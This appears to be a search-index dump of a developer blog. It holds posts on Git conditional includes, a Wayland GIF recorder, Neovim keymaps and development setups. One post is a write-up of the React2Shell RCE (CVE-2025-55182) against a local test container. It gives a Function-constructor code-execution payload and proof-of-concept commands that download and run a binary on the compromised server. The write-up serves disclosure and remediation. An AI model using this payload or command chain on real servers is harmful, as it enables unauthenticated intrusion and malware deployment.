first-class WASM support. Building a cellular automaton felt like the right level of complexity; simple enough to finish in a weekend, complex enough to exercise the language\u0026rsquo;s strengths.\u003c/p\u003e","title":"Conway's Game of Life in Zig: A Weekend Project"},{"content":"If you\u0026rsquo;re like most developers, you probably work on multiple projects across different contexts. Maybe you contribute to open source projects with your personal email, work on company projects with your work email, and maintain client projects with yet another identity. Manually switching git configurations between projects is tedious and error-prone. Fortunately, Git has a powerful feature that solves this problem elegantly: conditional includes with includeIf.\nThe Problem Consider this common scenario: You\u0026rsquo;ve just finished committing some personal project code, then switch to your work repository and make a commit. Hours later, you realize with horror that your personal email is now in your company\u0026rsquo;s git history. This can happen especially as development setups and projects increase in complexity over time. On-call all nighters don\u0026rsquo;t help either and it\u0026rsquo;s an easy mistake to make.\nThe traditional solution involves manually running git config user.email every time you switch contexts, but this is fragile and easy to forget.\nThe Solution: Conditional Includes Git\u0026rsquo;s includeIf directive allows you to automatically load different configuration files based on the repository\u0026rsquo;s location. This means you can set up your git config once and never worry about it again.\nHow It Works The basic syntax in your global ~/.gitconfig file looks like this:\n[includeIf \u0026#34;gitdir:~/work/\u0026#34;] path = ~/.gitconfig-work [includeIf \u0026#34;gitdir:~/personal/\u0026#34;] path = ~/.gitconfig-personal When you run a git command, Git checks the current repository\u0026rsquo;s location against these patterns. If there\u0026rsquo;s a match, it loads the additional configuration file specified in the path directive.\nSetting It Up Let\u0026rsquo;s walk through a complete setup for managing work and personal projects.\nStep 1: Organize Your Repositories First, organize your repositories by context. For example:\n~/work/ # All work-related repositories ~/personal/ # Personal projects ~/clients/ # Client projects Step 2: Create Separate Config Files Create a git configuration file for each context. For work:\n# ~/.gitconfig-work [user] name = Your Name email = you@company.com signingkey = WORK_GPG_KEY_ID [commit] gpgsign = true For personal projects:\n# ~/.gitconfig-personal [user] name = Your Name email = you@personal.com signingkey = PERSONAL_GPG_KEY_ID [commit] gpgsign = true Step 3: Update Your Global Config Edit your ~/.gitconfig to include conditional directives:\n[user] # Fallback configuration name = Your Name email = you@personal.com [includeIf \u0026#34;gitdir:~/work/\u0026#34;] path = ~/.gitconfig-work [includeIf \u0026#34;gitdir:~/personal/\u0026#34;] path = ~/.gitconfig-personal [includeIf \u0026#34;gitdir:~/clients/\u0026#34;] path = ~/.gitconfig-clients Important Notes About Pattern Matching Trailing Slashes Matter The gitdir pattern must end with a forward slash to match a directory:\n# Correct - matches ~/work/ and all subdirectories [includeIf \u0026#34;gitdir:~/work/\u0026#34;] # Wrong - won\u0026#39;t match subdirectories properly [includeIf \u0026#34;gitdir:~/work\u0026#34;] Case Sensitivity On case-sensitive filesystems (Linux, macOS with case-sensitive APFS), the paths are case-sensitive. On Windows and standard macOS, they\u0026rsquo;re case-insensitive.\nWildcards You can use ** for more complex matching patterns:\n# Match any \u0026#34;company-name\u0026#34; directory anywhere [includeIf \u0026#34;gitdir:**/company-name/**\u0026#34;] path = ~/.gitconfig-company Alternative Approach: Matching by Remote URL If you don\u0026rsquo;t organize your repositories by directory, or if you work with multiple Git hosting services, you can use hasconfig:remote.*.url to apply configurations based on the remote URL pattern. This is particularly useful when you use GitHub for personal projects, GitLab for work, and Codeberg for open source contributions.\nSetup by Remote URL # ~/.gitconfig [includeIf \u0026#34;hasconfig:remote.*.url:git@github.com:your-work-org/**\u0026#34;] path = ~/.gitconfig-work [includeIf \u0026#34;hasconfig:remote.*.url:git@gitlab.com:company/**\u0026#34;] path = ~/.gitconfig-company [includeIf \u0026#34;hasconfig:remote.*.url:https://codeberg.org/**\u0026#34;] path = ~/.gitconfig-codeberg [includeIf \u0026#34;hasconfig:remote.*.url:git@bitbucket.org:*/**\u0026#34;] path = ~/.gitconfig-bitbucket [includeIf \u0026#34;hasconfig:remote.*.url:git@github.com:your-personal/**\u0026#34;] path = ~/.gitconfig-personal Why This Is Useful This approach has several advantages:\nFlexible organization: Your repos can live anywhere on your filesystem Service-specific configs: Apply different settings based on GitHub vs GitLab vs Codeberg Organization-based: Match specific organizations or groups within a hosting service Protocol-agnostic: Works with both SSH and HTTPS URLs Combining Both Approaches You can use both gitdir and hasconfig:remote.*.url together for maximum flexibility:\n[user] name = Your Name email = personal@example.com # Directory-based rules (checked first) [includeIf \u0026#34;gitdir:~/work/\u0026#34;] path = ~/.gitconfig-work # Remote URL-based rules (useful for exceptions) [includeIf \u0026#34;hasconfig:remote.*.url:git@github.com:opensource-project/**\u0026#34;] path = ~/.gitconfig-opensource Note: The hasconfig:remote.*.url condition requires that the repository already has a remote configured. It won\u0026rsquo;t work immediately after git init but will activate once you add a remote with git remote add.\nAdvanced Use Cases Different SSH Keys You can configure different SSH keys for different contexts by including SSH configuration in your conditional config files:\n# ~/.gitconfig-work [user] email = you@company.com [core] sshCommand = ssh -i ~/.ssh/id_rsa_work URL Rewrites Automatically use different protocols or paths:\n# ~/.gitconfig-work [url \u0026#34;git@github.com-work:\u0026#34;] insteadOf = git@github.com: Different Default Branches Set different default branch names per context:\n# ~/.gitconfig-personal [init] defaultBranch = main # ~/.gitconfig-work [init] defaultBranch = master Pro Tip: Editing Conditional Config Files Directly Instead of manually opening your conditional config files in an editor, you can use git\u0026rsquo;s --file flag to edit them directly:\n# Edit your work config git config --file=~/.gitconfig-work user.email \u0026#34;newemail@company.com\u0026#34; # Add a new setting to your personal config git config --file=~/.gitconfig-personal core.editor \u0026#34;vim\u0026#34; # List all settings in a specific config file git config --file=~/.gitconfig-work --list This is especially handy when you can\u0026rsquo;t remember the exact path to your config files or want to quickly update a setting without opening an editor.\nVerifying Your Configuration To check which configuration is being used in a repository, run:\ngit config --list --show-origin This shows each configuration value and which file it comes from. You should see values from your conditional config file for repositories in the matching directories.\nTo test a specific value:\ngit config --get user.email Troubleshooting If your conditional configuration isn\u0026rsquo;t working:\nCheck for typos in the gitdir path, especially the trailing slash Use absolute paths or ~ for home directory, not relative paths Verify file permissions on your config files Check the order - later includes override earlier ones Remember that includeIf only works in the global config file, not in repository-local configs Why This Matters Beyond just getting the right email in commits, conditional configurations enable:\nSecurity: Use different GPG keys for signing commits in different contexts Compliance: Ensure company policies are followed automatically in work repositories Productivity: Eliminate context-switching friction and mental overhead Reliability: Prevent embarrassing mistakes like using personal credentials in company code Further Reading For more details on conditional includes and all available options, check out the official Git documentation on conditional includes. The docs cover additional conditions like onbranch that can provide even more granular control.\nConclusion Git\u0026rsquo;s includeIf feature is a simple but powerful tool that saves time and prevents mistakes. By spending a few minutes setting up conditional configurations, you can work seamlessly across different projects and contexts without ever thinking about your git configuration again.\nThe next time you clone a new repository, it will automatically pick up the right configuration based on where you put it. That\u0026rsquo;s the kind of automation that makes development just a little bit smoother.\n","permalink":"https://doprz.dev/blog/posts/git-conditional-config/","summary":"\u003cp\u003eIf you\u0026rsquo;re like most developers, you probably work on multiple projects across different contexts. Maybe you contribute to open source projects with your personal email, work on company projects with your work email, and maintain client projects with yet another identity. Manually switching git configurations between projects is tedious and error-prone. Fortunately, Git has a powerful feature that solves this problem elegantly: conditional includes with \u003ccode\u003eincludeIf\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"the-problem\"\u003eThe Problem\u003c/h2\u003e\n\u003cp\u003eConsider this common scenario: You\u0026rsquo;ve just finished committing some personal project code, then switch to your work repository and make a commit. Hours later, you realize with horror that your personal email is now in your company\u0026rsquo;s git history. This can happen especially as development setups and projects increase in complexity over time. On-call all nighters don\u0026rsquo;t help either and it\u0026rsquo;s an easy mistake to make.\u003c/p\u003e","title":"Managing Multiple Git Configurations"},{"content":"Some of the best projects stem from real frustrations. I\u0026rsquo;ve personally struggled with creating small GIFs for project documentation on Wayland - no existing solution worked well. My workaround? Screen record with OBS, manually convert with ffmpeg. Time-consuming, janky, and frustrating.\nwlgif demo showcasing rs-cube and minecraft_tunnel\nSo I built wlgif - a lightweight screen recorder for Wayland that captures regions as GIFs. What used to take several minutes now takes less than 10 seconds.\nGitHub: https://github.com/doprz/wlgif\nStats: ~1000 lines of Rust code, 99KiB repository size, with scc estimating $38k development cost.\nThe problem:\nScreen-to-GIF on Wayland has been surprisingly painful. Most tools only work on specific compositors, forcing users into awkward workarounds. wlgif solves this with a dual-backend architecture that works on ANY Wayland compositor - whether you\u0026rsquo;re running GNOME, KDE, Sway, Hyprland, or anything else.\nTechnical architecture:\nThe dual-backend system provides universal Wayland compatibility:\nXDG Desktop Portal backend (universal):\nPortal request via D-Bus for compositor screen access Compositor\u0026rsquo;s native picker for source selection PipeWire captures video stream from compositor GStreamer encodes stream to MP4 wlroots backend (optimized for wlr-based compositors):\nslurp for interactive region selection wf-recorder captures via wlroots screencopy protocol Backend abstraction → GIF conversion:\nffmpeg analyzes video to generate optimal 256-color palette ffmpeg applies Floyd-Steinberg dithering for final encoding This two-pass encoding produces significantly smaller, better-looking GIFs than naive single-pass conversion.\nDevelopment infrastructure:\nBuilt in Rust with first-class Nix support. The real breakthrough: I reverse-engineered Ghostty\u0026rsquo;s NixOS VM approach to create declarative, reproducible integration test environments using QEMU - true infrastructure as code.\nA single Nix command spins up a VM with the new wlgif derivation, automatically configures SPICE connection, sets up VM tools, and connects via virt-viewer. Code on host, test specific backends in VMs that rebuild with the updated wlgif binary. Thanks to Nix\u0026rsquo;s derivation system, only the changed components need to be rebuilt - the entire test environment is declarative and reproducible.\nBig thanks to the Ghostty project for the VM testing inspiration and nix.dev for excellent NixOS VM documentation.\n#Rust #Wayland #Linux #OpenSource #Nix #NixOS #DevOps #IntegrationTesting\n","permalink":"https://doprz.dev/blog/posts/wlgif/","summary":"\u003cp\u003eSome of the best projects stem from real frustrations. I\u0026rsquo;ve personally struggled with creating small GIFs for project documentation on Wayland - no existing solution worked well. My workaround? Screen record with OBS, manually convert with ffmpeg. Time-consuming, janky, and frustrating.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"wlgif demo gif\" loading=\"lazy\" src=\"/blog/posts/wlgif/wlgif-demo.gif\"\u003e\n\u003cem\u003ewlgif demo showcasing\u003c/em\u003e \u003ca href=\"https://github.com/doprz/rs-cube\"\u003ers-cube\u003c/a\u003e and \u003ca href=\"https://github.com/doprz/minecraft_tunnel\"\u003eminecraft_tunnel\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSo I built \u003cstrong\u003ewlgif\u003c/strong\u003e - a lightweight screen recorder for Wayland that captures regions as GIFs. What used to take several minutes now takes less than 10 seconds.\u003c/p\u003e","title":"wlgif - A lightweight screen recorder for Wayland that captures regions as GIFs"},{"content":"React Server Components introduced a powerful paradigm for building web applications—server-side logic that seamlessly integrates with client-side React. Unfortunately, a critical vulnerability in how React serializes and deserializes data between client and server has exposed applications to unauthenticated remote code execution.\nIn this blog post, I\u0026rsquo;ll break down CVE-2025-55182 and demonstrate how an attacker can achieve arbitrary command execution on a vulnerable Next.js server.\nWhat\u0026rsquo;s Affected Any application using React Server Functions (commonly called Server Actions in Next.js) prior to the patch is vulnerable. This includes the majority of modern Next.js applications that use the \u0026quot;use server\u0026quot; directive.\nUnderstanding the Vulnerability React uses the \u0026ldquo;Flight Protocol\u0026rdquo; to serialize data passed between client and server. When you call a Server Action, your arguments are encoded into chunks that reference each other:\n\u0026#34;0\u0026#34;: \u0026#39;[\u0026#34;$1\u0026#34;]\u0026#39; \u0026#34;1\u0026#34;: \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;$2:value\u0026#34;}\u0026#39; \u0026#34;2\u0026#34;: \u0026#39;{\u0026#34;value\u0026#34;:\u0026#34;hello\u0026#34;}\u0026#39; The vulnerability lies in how React resolves these references. Prior to the patch, React didn\u0026rsquo;t verify whether a requested key actually existed on an object—it would happily traverse the prototype chain. This means an attacker could request __proto__ and access the object\u0026rsquo;s prototype, eventually reaching the Function constructor.\nOnce you have access to Function, you can construct and execute arbitrary JavaScript:\nFunction(\u0026#34;return process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;whoami\u0026#39;)\u0026#34;)() Why This Is Particularly Dangerous The exploit triggers during deserialization, before the server validates which action was requested. An attacker doesn\u0026rsquo;t need to know any valid action IDs—a request with a dummy Next-Action: foo header is sufficient to trigger the vulnerability.\nThis is pre-authentication, pre-validation RCE.\nDemonstration Environment To demonstrate this vulnerability safely and reproducibly, I\u0026rsquo;m running a containerized environment:\nPodman for container isolation\nNix for reproducible builds and dependencies\nA vulnerable Next.js application with Server Actions enabled\nA note on the demo setup: The container runs as root, which is explicitly not a production best practice. I\u0026rsquo;m using it here to clearly show the impact—when we achieve RCE, the id command returns uid=0(root). In a real attack scenario, running containers as non-root users provides defense-in-depth, limiting what an attacker can do post-exploitation.\nThe Attack The exploit crafts a malicious payload that:\nOverwrites the .then() method of a chunk with Chunk.prototype.then\nSets up a fake chunk with status: \u0026quot;resolved_model\u0026quot; to trigger initialization\nAbuses the blob deserialization handler ($B prefix) as a call gadget\nPoints ._formData.get to the Function constructor\nInjects arbitrary code via the ._prefix field\nHere\u0026rsquo;s the core of the proof-of-concept:\nRunning this against the vulnerable server:\npython3 poc.py http://localhost:3000 id | grep \u0026#39;^1:E\u0026#39; | sed \u0026#39;s/^1:E//\u0026#39; | jq -r \u0026#39;.digest\u0026#39; Output:\nuid=0(root) gid=0(root) groups=0(root) We have root. Now let me demonstrate what an attacker could do with this access.\nDownloading and Executing Arbitrary Binaries To drive the point home, I\u0026rsquo;ll download Zig onto the compromised server, extract it, and run it—all through the vulnerability. In this demo I\u0026rsquo;m using a legitimate compiler, but this could just as easily be a cryptominer, ransomware, or any malicious binary.\nStep 1: Download the tarball\npython3 poc.py http://localhost:3000 \u0026#34;curl -L -o /tmp/zig.tar.xz https://ziglang.org/builds/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b.tar.xz\u0026#34; Step 2: Extract it\npython3 poc.py http://localhost:3000 \u0026#34;tar -xf /tmp/zig.tar.xz -C /tmp\u0026#34; Step 3: Execute\npython3 poc.py http://localhost:3000 \u0026#34;/tmp/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b/zig version\u0026#34; Output:\n0.16.0-dev.1484+d0ba6642b We\u0026rsquo;ve just downloaded and executed an arbitrary binary on the server through a series of simple HTTP requests.\nThe Real-World Implications In this demo, I downloaded the zig 0.16.0-dev binary. An actual attacker would use the same technique to deploy:\nReverse TCP shells — interactive access that persists beyond the HTTP request\nCryptominers — monetize compromised infrastructure immediately\nMalicious packages — supply chain payloads, backdoored tools\nData exfiltration tools — dump databases, steal credentials, pivot to internal services\nThe attack surface is limited only by what the server can reach. Cloud metadata endpoints, internal APIs, databases—all accessible once you have code execution.\nThis is why running as root amplifies the damage. A non-root container user would limit some of these attacks—but the RCE itself would still be catastrophic.\nRemediation Update immediately. The fix adds a hasOwnProperty check before resolving references, preventing prototype chain traversal:\nif (hasOwnProperty.call(moduleExports, metadata[NAME])) { return moduleExports[metadata[NAME]]; } return undefined; Check the React security advisory for patched versions and further info.\nTakeaways Serialization is a minefield. Any time you\u0026rsquo;re parsing untrusted input into objects, prototype pollution is a risk.\nDefense in depth matters. Run containers as non-root. Use read-only filesystems. Limit network egress. None of these prevent this CVE, but they limit blast radius.\nPatch aggressively. This vulnerability is trivial to exploit and the PoC is public.\nThanks to the security researchers who discovered and responsibly disclosed this vulnerability, and to msanft for the detailed technical writeup and PoC.\n","permalink":"https://doprz.dev/blog/posts/react2shell/","summary":"\u003cp\u003eReact Server Components introduced a powerful paradigm for building web applications—server-side logic that seamlessly integrates with client-side React. Unfortunately, a critical vulnerability in how React serializes and deserializes data between client and server has exposed applications to unauthenticated remote code execution.\u003c/p\u003e\n\u003cp\u003eIn this blog post, I\u0026rsquo;ll break down CVE-2025-55182 and demonstrate how an attacker can achieve arbitrary command execution on a vulnerable Next.js server.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"PoC\" loading=\"lazy\" src=\"/blog/posts/react2shell/PoC.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"whats-affected\"\u003eWhat\u0026rsquo;s Affected\u003c/h2\u003e\n\u003cp\u003eAny application using React Server Functions (commonly called Server Actions in Next.js) prior to the patch is vulnerable. This includes the majority of modern Next.js applications that use the \u003ccode\u003e\u0026quot;use server\u0026quot;\u003c/code\u003e directive.\u003c/p\u003e","title":"CVE-2025-55182 (React2Shell): Remote Code Execution in React Server Components (10.0 CRITICAL)"},{"content":"People often ask me: “What’s the best tech stack?” or “Why Neovim over VSCode?”\nThe truth is, there’s no universal “best” - only what works best for you.\nMy journey: Windows with Notepad++ → Sublime → VSCode (where I was comfortable for years) → Linux + Neovim(best decision I made).\nThen the real exploration began. I\u0026rsquo;ve tried Debian-based distros, RHEL/Fedora, CentOS/Rocky, Arch, Void, OpenSUSE, BSDs, macOS, and NixOS. Window managers and DEs: i3, awesomewm, bspwm, dwm, Hyprland, niri, GNOME, KDE, Cinnamon, MATE, XFCE.\nTerminal emulators? Alacritty, kitty, ghostty, Wezterm, st, foot, GNOME Terminal, Konsole, Terminator, and more. I landed on Alacritty - not because it has the most features, but because it\u0026rsquo;s minimal, patchable in Rust, and plays perfectly with tmux.\nMy current stack:\nNixOS - reproducible, declarative system configuration\nhome-manager - version-controlled dotfiles and tool management\nNix Flakes - reproducible, declarative dev environments\nniri - Wayland compositor that fits my workflow\nAlacritty - fast, minimal, hackable terminal\ntmux - session management and window splitting\nfzf - fuzzy search\nNeovim - custom config built from scratch for 0.11+\nI recently rewrote my Neovim config using native LSP instead of Mason or lsp-config. Custom keybinds, handpicked plugins, autocmds. Every detail configured exactly how I think and work. It took weeks.\nWas it worth it?\nAbsolutely.\nWhen I open my editor now, I enter a flow state. Not because this stack is \u0026ldquo;objectively better\u0026rdquo; than VSCode or any other setup. It\u0026rsquo;s because every keystroke, every command, every behavior is exactly what I need. No friction. No context switching. Just code.\nCan I work in other environments? Of course. But there\u0026rsquo;s a difference between working and thriving.\nThe hours spent experimenting weren\u0026rsquo;t wasted - they were an investment in understanding exactly how I work best. Trying 10+ terminals taught me what matters to me (patchability, minimalism, tmux compatibility). Testing countless window managers showed me how I think about screen space. Rebuilding my Neovim config from scratch forced me to understand every piece of my workflow.\nEvery developer\u0026rsquo;s optimal setup is different. The key is being willing to experiment until you find yours.\n","permalink":"https://doprz.dev/blog/posts/best-development-environment-workflow/","summary":"\u003cp\u003e\u003cstrong\u003ePeople often ask me: “What’s the best tech stack?” or “Why Neovim over VSCode?”\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe truth is, there’s no universal “best” - only what works best for you.\u003c/p\u003e\n\u003cp\u003eMy journey: Windows with Notepad++ → Sublime → VSCode (where I was comfortable for years) → Linux + Neovim(best decision I made).\u003c/p\u003e\n\u003cp\u003eThen the real exploration began. I\u0026rsquo;ve tried Debian-based distros, RHEL/Fedora, CentOS/Rocky, Arch, Void, OpenSUSE, BSDs, macOS, and NixOS. Window managers and DEs: i3, awesomewm, bspwm, dwm, Hyprland, niri, GNOME, KDE, Cinnamon, MATE, XFCE.\u003c/p\u003e","title":"Best Development Environment/Workflow"},{"content":"After years of modifying my Neovim configuration, I\u0026rsquo;ve settled on a set of keymaps that I simply can\u0026rsquo;t live without. These aren\u0026rsquo;t flashy or complex but they\u0026rsquo;re practical quality-of-life (qol) improvements that fix some of Vim\u0026rsquo;s rough edges and make daily editing smoother.\nNote: These keymaps are written in Lua. If you\u0026rsquo;re using Vim with vimscript, you can easily convert these using the equivalent nnoremap, inoremap, vnoremap, and xnoremap commands.\n1. Move Lines Like a Pro One of the most satisfying operations is moving lines up and down without cutting and pasting. These keymaps make it effortless:\n-- Normal mode vim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;A-j\u0026gt;\u0026#39;, \u0026#34;\u0026lt;cmd\u0026gt;execute \u0026#39;move .+\u0026#39; . v:count1\u0026lt;cr\u0026gt;==\u0026#34;, { desc = \u0026#39;Move Down\u0026#39; }) vim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;A-k\u0026gt;\u0026#39;, \u0026#34;\u0026lt;cmd\u0026gt;execute \u0026#39;move .-\u0026#39; . (v:count1 + 1)\u0026lt;cr\u0026gt;==\u0026#34;, { desc = \u0026#39;Move Up\u0026#39; }) -- Insert mode vim.keymap.set(\u0026#39;i\u0026#39;, \u0026#39;\u0026lt;A-j\u0026gt;\u0026#39;, \u0026#39;\u0026lt;esc\u0026gt;\u0026lt;cmd\u0026gt;m .+1\u0026lt;cr\u0026gt;==gi\u0026#39;, { desc = \u0026#39;Move Down\u0026#39; }) vim.keymap.set(\u0026#39;i\u0026#39;, \u0026#39;\u0026lt;A-k\u0026gt;\u0026#39;, \u0026#39;\u0026lt;esc\u0026gt;\u0026lt;cmd\u0026gt;m .-2\u0026lt;cr\u0026gt;==gi\u0026#39;, { desc = \u0026#39;Move Up\u0026#39; }) -- Visual mode vim.keymap.set(\u0026#39;v\u0026#39;, \u0026#39;\u0026lt;A-j\u0026gt;\u0026#39;, \u0026#34;:\u0026lt;C-u\u0026gt;execute \\\u0026#34;\u0026#39;\u0026lt;,\u0026#39;\u0026gt;move \u0026#39;\u0026gt;+\\\u0026#34; . v:count1\u0026lt;cr\u0026gt;gv=gv\u0026#34;, { desc = \u0026#39;Move Down\u0026#39; }) vim.keymap.set(\u0026#39;v\u0026#39;, \u0026#39;\u0026lt;A-k\u0026gt;\u0026#39;, \u0026#34;:\u0026lt;C-u\u0026gt;execute \\\u0026#34;\u0026#39;\u0026lt;,\u0026#39;\u0026gt;move \u0026#39;\u0026lt;-\\\u0026#34; . (v:count1 + 1)\u0026lt;cr\u0026gt;gv=gv\u0026#34;, { desc = \u0026#39;Move Up\u0026#39; }) Use Alt+j and Alt+k to move lines (or visual selections) up and down. The magic here is that it works in all three modes (normal, insert, and visual) and automatically re-indents your code. Even better, it respects counts, so 3\u0026lt;A-j\u0026gt; moves the line down three positions.\n2. Clear Search Highlights Instantly Nothing clutters your screen like lingering search highlights after you\u0026rsquo;re done searching:\nvim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;Esc\u0026gt;\u0026#39;, \u0026#39;\u0026lt;cmd\u0026gt;nohlsearch\u0026lt;CR\u0026gt;\u0026#39;) Press Esc to clear search highlights without affecting anything else. It\u0026rsquo;s muscle memory that saves you from typing :noh dozens of times a day.\n3. Escape Terminal Mode Sanely Vim\u0026rsquo;s terminal mode is powerful, but getting out of it with the default \u0026lt;C-\\\u0026gt;\u0026lt;C-n\u0026gt; is awkward:\nvim.keymap.set(\u0026#39;t\u0026#39;, \u0026#39;\u0026lt;Esc\u0026gt;\u0026lt;Esc\u0026gt;\u0026#39;, \u0026#39;\u0026lt;C-\\\\\u0026gt;\u0026lt;C-n\u0026gt;\u0026#39;, { desc = \u0026#39;Exit terminal mode\u0026#39; }) Double Esc to exit terminal mode feels natural and consistent with other modes.\n4. Paste Without Losing Your Clipboard This one solves a problem that frustrates every Vim beginner: when you paste over a visual selection, Vim yanks the deleted text into your default register, overwriting what you wanted to paste again.\nvim.keymap.set(\u0026#39;x\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;p\u0026#39;, \u0026#39;\u0026#34;_dP\u0026#39;) Use \u0026lt;leader\u0026gt;p in visual mode to paste without losing your clipboard contents. It deletes the selection to the black hole register (\u0026quot;_) before pasting, so you can paste the same thing multiple times.\n5. Copy to System Clipboard Working with the system clipboard in Vim can be clunky. This makes it trivial:\nvim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;y\u0026#39;, \u0026#39;\u0026#34;+y\u0026#39;) vim.keymap.set(\u0026#39;v\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;y\u0026#39;, \u0026#39;\u0026#34;+y\u0026#39;) \u0026lt;leader\u0026gt;y copies to the system clipboard (+ register) instead of Vim\u0026rsquo;s internal registers.\n6. Delete Without Affecting Clipboard Sometimes you want to delete text without storing it anywhere:\nvim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;d\u0026#39;, \u0026#39;\u0026#34;_d\u0026#39;) vim.keymap.set(\u0026#39;v\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;d\u0026#39;, \u0026#39;\u0026#34;_d\u0026#39;) \u0026lt;leader\u0026gt;d deletes to the black hole register, keeping your clipboard intact. Perfect for removing text you don\u0026rsquo;t need to paste elsewhere.\n7. Quick File Navigation with Netrw Vim\u0026rsquo;s built-in file explorer (netrw) is surprisingly powerful once you have quick access to it:\nvim.keymap.set(\u0026#39;n\u0026#39;, \u0026#39;\u0026lt;leader\u0026gt;e\u0026#39;, \u0026#39;:Ex\u0026lt;cr\u0026gt;\u0026#39;, { desc = \u0026#39;Open netrw\u0026#39; }) \u0026lt;leader\u0026gt;e instantly opens netrw in the current window, letting you navigate your project structure without reaching for a mouse or a separate file tree plugin. It\u0026rsquo;s lightweight, always available, and surprisingly capable once you learn the basics (- to go up a directory, % to create a file, d to create a directory).\nCredit Where Credit\u0026rsquo;s Due I first fell down the Vim rabbit hole thanks to ThePrimeagen\u0026rsquo;s excellent video \u0026ldquo;0 to LSP : Neovim RC From Scratch\u0026rdquo;. If you\u0026rsquo;re building your config from scratch or looking to understand the fundamentals, it\u0026rsquo;s an invaluable resource. Many of these keymaps are inspired by patterns and principles I learned from his content and the broader Neovim community.\nThe beauty of Vim is that everyone\u0026rsquo;s config evolves differently based on their workflow. These keymaps work for me, but your mileage may vary. The important thing is understanding why each mapping exists so you can adapt them to your needs.\n","permalink":"https://doprz.dev/blog/posts/essential-vim-keymaps/","summary":"\u003cp\u003eAfter years of modifying my Neovim configuration, I\u0026rsquo;ve settled on a set of keymaps that I simply can\u0026rsquo;t live without. These aren\u0026rsquo;t flashy or complex but they\u0026rsquo;re practical quality-of-life (qol) improvements that fix some of Vim\u0026rsquo;s rough edges and make daily editing smoother.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eNote: These keymaps are written in Lua. If you\u0026rsquo;re using Vim with vimscript, you can easily convert these using the equivalent nnoremap, inoremap, vnoremap, and xnoremap commands.\u003c/em\u003e\u003c/p\u003e","title":"Boost Your Productivity With These Essential Vim Keymaps"}]